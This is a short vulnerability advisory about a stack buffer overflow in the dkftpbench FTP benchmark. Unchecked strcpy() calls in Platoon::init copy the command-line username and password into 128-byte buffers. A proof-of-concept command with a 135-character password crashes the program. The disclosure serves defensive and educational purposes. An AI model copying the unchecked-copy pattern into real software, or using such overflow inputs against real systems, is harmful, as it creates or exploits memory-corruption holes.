Description:

dkftpbench is an FTP benchmark program inspired by SPECweb99. The
result of the benchmark is a number-of-simultaneous-users rating;
after running the benchmark properly, you have a good idea how many
simultaneous dialup clients a server can support. The target bandwidth
per client is set at 28.8 kilobits/second to model dialup users; this
is important for servers on the real Internet, which often serve
thousands of clients on only 10 MBits/sec of bandwidth.
Found buffer overflow in Platoon::init function using strcpy() with no
sizelen control.
source: http://www.kegel.com/dkftpbench/

Source error:

in main():
--
int main(int argc, char **argv)
{
  [..]
  const char *arg_username = "anonymous";
  const char *arg_password = "robouser@";

  [..]
    } else if (!strncmp(argv[i], "-u", 2)) {
      arg_username = &argv[i][2];
    } else if (!strncmp(argv[i], "-p", 2)) {
      arg_password = &argv[i][2];

  [..]
  Platoon thePlatoon;
  thePlatoon.init(poller, &sked, arg_filename,
    arg_clientBandwidth, arg_minClientBandwidth, arg_mtu,
    arg_hostname, arg_portnum, arg_username, arg_password,
    local_addrs, n_local_addrs);

  [..]
}
--

in Platoon.h:
--
  /// The user name part of the URL to fetch
  char m_username[128];
  /// The password part of the URL to fetch
  char m_passwd[128];
--

in Platoon.c:
--
void Platoon::init(Poller *poller, Sked *sked, const char *filename,
  int maxBytesPerSec, int minBytesPerSec, int bytesPerRead,
  const char *servername, int port,
  const char *username, const char *passwd,
  struct sockaddr_in *local_addrs, int n_local_addrs)
{
  [..]
  m_port = port;
  m_sked = sked;
  strcpy(m_passwd, passwd);
  strcpy(m_servername, servername);
  strcpy(m_username, username);
  m_verbosity = 0;
  m_local_addrs = local_addrs;
  [..]
}
--

Proof of concept:

$ dkftpbench -n1 -hlocalhost -p21 -u test -p`perl -e "print 'A'x135"` -v1
 -h127.0.0.1 host name of ftp server
 -P21 port number of ftp server
 -n1 number of users
 -c1 target number of simultaneous connection attempts
 -k2 Start next connection when: 1=immediately, 2=after prev connect complete
 -t0 length of run (in seconds)
 -b3600 desired bandwidth (in bytes per second)
 -B2700 min acceptable per-client bandwidth (in bytes per second)
 -ufederico user name
 -paaaaaa[..]
 -fusenet/rec.juggling/juggling.FAQ.Z file to fetch
 -m1500 bytes per 'packet'
 -v1 verbosity
 -sp selector (p=poll, s=select, d=/dev/poll, k=kqueue, r=rtsig, f=sig-per-fd)
 -a0 use all local interfaces
Using poll()
Segmentation fault
$

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